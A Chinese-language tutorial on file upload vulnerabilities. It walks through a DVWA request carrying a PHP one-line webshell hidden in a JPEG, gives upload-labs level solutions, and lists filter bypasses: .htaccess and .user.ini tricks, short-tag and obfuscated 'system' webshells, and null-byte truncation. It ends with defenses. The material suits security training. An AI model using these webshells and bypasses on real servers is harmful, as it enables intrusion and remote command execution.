任意文件上传漏洞详解
当文件上传接口可以上传任意文件,但是不解析,文件上传后的路径可控。这种情况下有两种方法1、上传.htaccess和.user.ini配置文件。2、当知道网站根路径的情况下,可以上传到其他目录下。3、当不知道网站根路径的情况下,可以通过上传计划任务的方式实现命令执行。
文件上传漏洞的定义
文件上传漏洞是指攻击者上传了一个可执行的文件到目标服务器并执行。上传的文件可以是木马、病毒、恶意脚本或Webshell等。
文件上传漏洞条件
- 上传的文件能被Web服务器当做脚本来执行
- 我们能够访问到上传文件的路径
服务器上传文件命名规则
- 第一种:上传文件名和服务器命名一致
- 第二种:上传文件名和服务器命名不一致(随机、时间日期命名等),但是后缀一致
- 第三种:上传文件名和服务器命名不一致(随机、时间日期命名等),后缀也不一致
漏洞成因
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。
一般我们会利用文件上传漏洞上传一句话木马,然后菜刀连接过去webshell。要想获取webshell,必需让我们上传的文件当成脚本文件执行,所以文件上传漏洞通常会和文件包含漏洞和文件解析漏洞一起联动。
文件上传中的可控点
POST /DVWA/vulnerabilities/upload/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 5108
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJUcYpiAjyVAzt5yA
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/DVWA/vulnerabilities/upload/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: security=low; PHPSESSID=plp6nm81is9eotcvfo3td8thp4
Connection: close
------WebKitFormBoundaryJUcYpiAjyVAzt5yA
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryJUcYpiAjyVAzt5yA
Content-Disposition: form-data; name="uploaded"; filename="timg.jpg"
Content-Type: image/jpeg
?? JFIF H H ? C
?巋#ItB?I$?扞I$?姏鈺= QB騃$S穞扐+禘?s?€c,:?II$?lQt祇侤AI$?&邯贶NJ摡庸$怶扟.?H亿$?d7q!q狪 k慾I b?d扏埐d扏扞$?<?php @eval($_POST['pwd']);?>
------WebKitFormBoundaryJUcYpiAjyVAzt5yA
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryJUcYpiAjyVAzt5yA--
其实对于整个HTTP请求包来说,所有内容都是用户可控的,只是请求包中的几个点有可能是后台服务器的检测重点,在上面的请求内容中,加粗加大的红色字体为可能的后台检测重点,主要有几处:
1. Content-Length,即上传内容大小
2. MAX_FILE_SIZE,即上传内容的最大长度
3. filename,即上传文件名
4. Content-Type,即上传文件类型
5. 请求包中的乱码字段,即是所上传文件的内容
6. 有可能存在请求包中的可控点还有上传路径,只是上面的示例中没有出现
upload-labs通关思路
第一关:前端JS限制文件后缀,抓包修改进行绕过或禁用JS
第二关:后端检测Content-Type类型,抓包修改Content-Type进行绕过
第三关:后端黑名单限制,禁止上传asp、aspx、php、jsp后缀的文件,可以上传phtml、php2、php5等畸形后缀名
第四关:后缀黑名单限制,禁止上传了很多后缀的文件。可以上传.htaccess文件进行绕过
第五关:后缀黑名单限制,禁止上传了很多后缀的文件,且将后缀名转换为小写。上传.user.ini文件进行绕过
第六关:后缀黑名单限制,但是只过滤了小写后缀的文件,于是可以将文件后缀大写进行绕过
第七关:后缀黑名单限制,可以利用windows系统特性,利用空格进行绕过
第八关:后缀黑名单限制,可以利用windows系统特性,利用.进行绕过
第九关:后缀黑名单限制,可以利用windows系统特性,利用::$DATA进行绕过
第十关:后缀黑名单限制,可以利用windows系统特性,利用.空格.进行绕过
第十一关:后缀黑名单限制,可以双写后缀名进行绕过
第十二关:后缀白名单限制,需结合特定环境利用00截断绕过(GET型)00截断前置条件:php版本小于5.3.4,且魔术引号关闭
第十三关:后缀白名单限制,需结合特定环境利用00截断绕过(POST型)post类型的截断需要将%00进行URL编码
注:GET方式的%00会被服务器解码成null,而与GET不同的是POST类型的需要先URL解码成null再发送数据包
第十四关:后端检测上传文件的开头两个字节,制作图片马,利用服务器的文件包含漏洞
第十五关:后端检测上传文件的大小,制作图片马,利用服务器的文件包含漏洞
第十六关:后端检测图片类型,制作图片马,利用服务器的文件包含漏洞 这题需要开启php的php_exif扩展
第十七关:后端对上传文件进行二次渲染,利用二次渲染绕过
第十八关:条件竞争
第十九关:条件竞争
第二十关:./绕过
第二十一关:数组/.绕过
Bypass总结
1、客户端JavaScript检验(一般只检验文件的扩展名)
应用程序在前端使用JavaScript检测上传文件的扩展名。
绕过方式:1、直接禁用本地js,不让其做检测.2、抓包,修改文件后缀名类型,绕过检测限制。
2、服务端后端检测
(1)文件类型content-type字段校验
MIME的作用:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。
绕过思路:抓包,将Content-Type修改为服务端允许的类型。
(2)文件头类型检测
这个检测是利用getimagesize()函数来检测上传内容是否为图像以及图像大小。
文件头就是文件特定的标志,如二进制PE文件的4D5A,bmp文件的424D,zip文件的504B0304,各种常见文件的文件头类型大家可以查找了解一下,常见图片文件头如下:
gif: GIF89a
jpg,jpeg: FF D8 FF
png: 89 50 4E 47 0D 0A
(3)服务端文件扩展名检测
文件提交到后端,后端的函数对上传文件的后缀名进行检测,比如黑名单检测不允许上传.php、.asp后缀名格式的文件;白名单检测只允许上传.jpg格式的文件。
1、文件名大小写绕过(AsP, pHp等等)
2、黑名单列表绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)cdx,
3、特殊文件名绕过
修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。
4、0x00截断绕过
5、.htaccess文件攻击(结合黑名单攻击)
.htaccess文件攻击
如果Web服务器是Apache且黑名单没有对.htaccess做限制,那么可以上传.htaccess配置文件到目录中覆盖Apache的设置,可以通过配置执行webshell。
.htaccess文件攻击即结合黑名单攻击服务器的 .htaccess文件 。
通过move_uploaded_file函数把自己写的 .htaccess文件覆盖掉服务器上的,这样就可以解析定义名单了。
创建一个.htaccess文件并在其中写入 SetHandler application/x-httpd-php .jpg并上传,该内容的作用是将后缀为.jpg的文件都当作php文件来执行。
6、.user.ini文件绕过
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法,php版本大于等于5.3.0版本。
auto_append_file ; 指定一个文件,自动包含在要执行的文件前。
auto_prepend_file ; 指定一个文件,自动包含在要执行的文件后。
auto_append_file=muma.png //使用<?php @eval($_POST['pwd']);?>
auto_prepend_file=muma.png //使用<?php @eval($_POST['pwd']);
(4)服务端文件内容检测
1、使用php短标签模式绕过
后端对<?php
字符串进行检测,这时可以使用短标签进行绕过
<?= system($_GET[cmd]);
2、在html文件中解析php代码
首先上传.htaccess文件,文件内容如下:AddType application/x-httpd-php .htm .html
然后上传一个html文件,html文件内容如下:
<script language="php">system('ls')</script>
3、危险函数检测绕过
<?php $_GET['a']($_GET['b']); ?>
a=system&b=ls
a=assert&b=system("ls")
<?php
$a = str_replace(text,sser,atextt);
$a($_POST['c']);
?>
<?php
$a="sys";
$b="tem";
$c=$a.$b;
$c($_POST['c']);
?>
4、图片二次渲染绕过
就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到特殊的数 据库中。
比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。
绕过方法: 先上传一张图片,再重新将图片下载下来做比较,然后在相同的地方(00的地方)插入 webshell
漏洞防御
1、文件上传的目录设置为不可执行
2、判断文件类型(使用白名单的方式,对于图片的处理,可以使用压缩函数或resize函数,在处理图片的同时破坏图片中可能包含的HTML代码)
3、使用随机数改写文件名和文件路径
4、单独设置文件服务器的域名
5、隐藏文件路径,将用户上传文件的路径保存在数据库中,并且在需要的时候再去读取加载。